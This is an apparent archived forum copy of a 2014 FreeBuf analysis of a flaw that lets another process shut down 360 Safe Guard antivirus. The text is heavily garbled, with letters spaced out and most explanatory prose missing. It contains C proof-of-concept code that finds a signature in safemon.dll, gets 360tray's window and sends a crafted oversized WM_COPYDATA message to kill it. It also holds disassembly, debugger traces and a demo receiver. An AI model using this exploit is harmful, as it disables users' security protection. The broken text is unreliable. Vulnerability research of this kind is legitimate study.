[7961] 2014-04-16_360安全卫士被关闭漏洞分析

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-17
2014-04-16_360安全卫士被关闭漏洞分析 3 6 0   F r e e B u f   2 0 1 4 - 0 4 - 1 6 3 6 0 9 . 0 3 6 0 H M O D U L E   h 3 6 0   = G e t M o d u l e H a n d l e ( T E X T ( " s a f e m o n . d l l " ) ) ; i n t   i   =   0 ; f o r   ( i   =   0 ;   i < 0 x 3 0 0 0 0 ;   i + + ) { i f   ( m e m c m p ( ( B Y T E   * ) ( h 3 6 0 + i ) ,   " x 8 3 x E C x 1 0 x 5 6 x 8 D x 4 4 x 2 4 x 0 4 x 5 0 " , 9 ) = = 0 ) {                   b r e a k ; } } i f   ( i = = 0 x 3 0 0 0 0 ) { r e t u r n ; } F A R P R O C   f u n c G e t 3 6 0 H W N D   =   ( F A R P R O C ) ( h 3 6 0 + i ) ; H W N D   h W n d   =   ( H W N D ) f u n c G e t 3 6 0 H W N D ( ) ; C O P Y D A T A S T R U C T   c p d a t a ; c p d a t a . d w D a t a   =   0 x 4 d 4 7 5 3 4 d ; c p d a t a . c b D a t a   =   0 x 1 0 0 0 ; c p d a t a . l p D a t a   =   m s g b u f ;     / / 0 x 1 0 0 0 x 0 0 x 0 0 S e n d M e s s a g e ( h W n d ,   W M _ C O P Y D A T A ,   N U L L , ( L P A R A M ) & c p d a t a ) ; 3 6 0 3 6 0 t r a y . e x e 退 使 s a f e m o n . d l l 3 6 0 s a f e m o n . d l l d l l 6 7 3 6 6 5 7 0       8 3 E C   1 0                   s u b           e s p ,   1 0 6 7 3 6 6 5 7 3       5 6                             p u s h         e s i 6 7 3 6 6 5 7 4       8 D 4 4 2 4   0 4               l e a           e a x ,   d w o r d   p t r   [ e s p + 4 ] 6 7 3 6 6 5 7 8       5 0                             p u s h         e a x 6 7 3 6 6 5 7 9       6 A   0 0                       p u s h       0 6 7 3 6 6 5 7 B       8 D 4 C 2 4   1 0               l e a           e c x ,   d w o r d   p t r   [ e s p + 1 0 ] 6 7 3 6 6 5 7 F       5 1                             p u s h         e c x 6 7 3 6 6 5 8 0       6 8   4 0 6 5 3 6 6 7           p u s h         6 7 3 6 6 5 4 0 6 7 3 6 6 5 8 5       6 A   0 0                       p u s h         0
6 7 3 6 6 5 8 7       6 A   0 0                       p u s h         0 6 7 3 6 6 5 8 9       C 7 4 4 2 4   2 0   E 4 8 D 4 > m o v           d w o r d p t r   [ e s p + 2 0 ] ,   6 7 4 1 8 D E 4                                       ;   A S C I I   " Q 3 6 0 S a f e M o n C l a s s " 6 7 3 6 6 5 9 1       C 7 4 4 2 4   2 4   0 0 0 0 0 > m o v           d w o r d p t r   [ e s p + 2 4 ] ,   0 6 7 3 6 6 5 9 9       C 7 4 4 2 4   2 8   0 0 0 0 0 > m o v           d w o r d p t r   [ e s p + 2 8 ] ,   0 6 7 3 6 6 5 A 1       F F 1 5   1 0 D 3 4 0 6 7       c a l l         d w o r d   p t r   [ < & K E R N E L 3 2 . G e t C u r r e n t P r o c e s s > ]               ;   k e r n e l 3 2 . G e t C u r r e n t P r o c e s s 6 7 3 6 6 5 A 7       5 0                             p u s h         e a x 6 7 3 6 6 5 A 8       F F 1 5   5 8 D 1 4 0 6 7       c a l l         d w o r d   p t r [ < & K E R N E L 3 2 . C r e a t e R e m o t e T h r e a d > ]           ;   k e r n e l 3 2 . C r e a t e R e m o t e T h r e a d 6 7 3 6 6 5 A E       8 B F 0                         m o v           e s i , e a x 6 7 3 6 6 5 B 0       8 5 F 6                         t e s t         e s i ,   e s i 6 7 3 6 6 5 B 2       7 4   1 0                       j e             s h o r t   6 7 3 6 6 5 C 4 6 7 3 6 6 5 B 4       6 A   F F                       p u s h         - 1 6 7 3 6 6 5 B 6       5 6                             p u s h         e s i 6 7 3 6 6 5 B 7       F F 1 5   2 4 D 1 4 0 6 7       c a l l         d w o r d   p t r   [ < & K E R N E L 3 2 . W a i t F o r S i n g l e O b j e c t > ]           ;   k e r n e l 3 2 . W a i t F o r S i n g l e O b j e c t 6 7 3 6 6 5 B D       5 6                             p u s h         e s i 6 7 3 6 6 5 B E       F F 1 5   2 0 D 3 4 0 6 7       c a l l         d w o r d   p t r [ < & K E R N E L 3 2 . C l o s e H a n d l e > ]                         ;   k e r n e l 3 2 . C l o s e H a n d l e 6 7 3 6 6 5 C 4       8 B 4 4 2 4   1 0               m o v           e a x ,   d w o r d   p t r   [ e s p + 1 0 ] 6 7 3 6 6 5 C 8       5 E                             p o p           e s i 6 7 3 6 6 5 C 9       8 3 C 4   1 0                   a d d           e s p ,   1 0 6 7 3 6 6 5 C C       C 3                             r e t n Q 3 6 0 S a f e M o n C l a s s F i n d W i n d o w 3 6 0 W M _ C O P Y D A T A C O P Y D A T A S T R U C T d w D a t a 0 x 4 d 4 7 5 3 4 d 0 × 1 0 0 0 3 6 0 t r a y 3 6 0 t r a y 3 6 0 O D 3 6 0 t r a y 3 6 0 3 6 0 X u e T r 3 6 0 H o o k O D h o o k 3 6 0 w i n d b g
h o o k 3 6 0 n o p k d >   e b   f 7 4 7 e d 7 8   c 3 k d >   u   f 7 4 7 e d 7 8 H o o k p o r t + 0 x c d 7 8 : f 7 4 7 e d 7 8   c 3                             r e t f 7 4 7 e d 7 9   f f 5 5 8 b                     c a l l         d w o r d   p t r   [ e b p - 7 5 h ] f 7 4 7 e d 7 c   e c                             i n             a l , d x f 7 4 7 e d 7 d   5 1                             p u s h       e c x f 7 4 7 e d 7 e   5 1                             p u s h         e c x f 7 4 7 e d 7 f   8 d 4 5 f c                     l e a           e a x , [ e b p - 4 ] f 7 4 7 e d 8 2   5 0                             p u s h         e a x f 7 4 7 e d 8 3   f f 1 5 9 4 f f 4 7 f 7         c a l l       d w o r d   p t r   [ H o o k p o r t + 0 x d f 9 4   ( f 7 4 7 f f 9 4 ) ] k d >   g h o o k 3 6 0 O D 3 6 0 t r a y 3 6 0 退 3 6 0 s a f e m o n p r o . t p i i n l i n e v s n w p r i n t f
v a _ l i s t W M _ C O P Y D A T A _ w o u t p u t _ l o u t p u t . c / * t e x t l e n   n o w   c o n t a i n s   l e n g t h   i n   m u l t i b y t e   c h a r s   * /   }   e l s e   {         i f ( t e x t . w z = =   N U L L )   / *   N U L L p a s s e d ,   u s e   s p e c i a l   s t r i n g   * /                 t e x t . w z   =   _ _ w n u l l s t r i n g ;                 b u f f e r i s w i d e =   1 ;                 p w c h =   t e x t . w z ;                 w h i l e ( i - -   & &   * p w c h )     / /                                     + + p w c h ;                 t e x t l e n =   ( i n t ) ( p w c h -   t e x t . w z ) ;               / *   i n   w c h a r _ t s * /                 / * t e x t l e n   n o w   c o n t a i n s   l e n g t h   i n   w i d e   c h a r s   * / } 3 6 0 3 6 0 W M _ C O P Y D A T A 访 W M _ C O P Y D A T A 线 W M _ C O P Y D A T A 使 S e n d M e s s a g e - > x x x S e n d M e s s a g e T i m e o u t - > x x x I n t e r S e n d M s g E x ( U s e r A l l o c P o o l W i t h Q u o t a ) - > S e t W a k e B i t - > S e t W a k e B i t
x x x R e c e i v e M e s s a g e - > X X X S E N D M E S S A G E T O C L I E N T ( ) - > S c S e n d M e s s a g e S M S ( ) - > S f n C O P Y D A T A ( s e n d e r   s i d e ) - > C a p t u r e C a l l b a c k D a t a ( ) - > K e U s e r M o d e C a l l b a c k ( ) - > S f n C O P Y D A T A ( r e c e i v e r   s i d e ) - > - > . . . . . . . . . . . h e a p 0 × 1 0 0 0 使 访 访 W M _ C O P Y D A T A B O O L   C r e c v D l g : : O n C o p y D a t a ( C W n d *   p W n d ,   C O P Y D A T A S T R U C T *   p C o p y D a t a S t r u c t ) {         w c h a r _ t   b u f [ 0 x 2 0 0 0 ] = { 0 } ;         _ s n w p r i n t f ( b u f ,   0 x 2 0 0 0 ,   L " u r l = % s " ,   p C o p y D a t a S t r u c t - > l p D a t a ) ;         r e t u r n   C D i a l o g : : O n C o p y D a t a ( p W n d ,   p C o p y D a t a S t r u c t ) ; } l p D a t a H W N D   h W n d = F i n d W i n d o w A ( " # 3 2 7 7 0 " , " r e c v " ) ; i f   ( h W n d ) {         i n t   l e n = 0 x 1 0 0 0 ;   / / 0 x 1 0 0 0               c h a r * b u f = n e w   c h a r [ l e n ] ;         m e m s e t ( b u f ,   0 x 4 1 ,   l e n ) ;                   C O P Y D A T A S T R U C T c p d a t a ;         c p d a t a . d w D a t a   =   0 x 4 d 4 7 5 3 4 d ;         c p d a t a . c b D a t a   =   l e n ;         c p d a t a . l p D a t a   =   b u f ;         S e n d M e s s a g e ( h W n d ,   W M _ C O P Y D A T A , N U L L ,   ( L P A R A M ) & c p d a t a ) ;           d e l e t e [ ]   b u f ; }
3 6 0 使 C O P Y D A T A S T R U C T . l p D a t a 访 使 C O P Y D A T A S T R U C T . l p D a t a 3 6 0 w e b j o b @ j o w t o . c o m
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则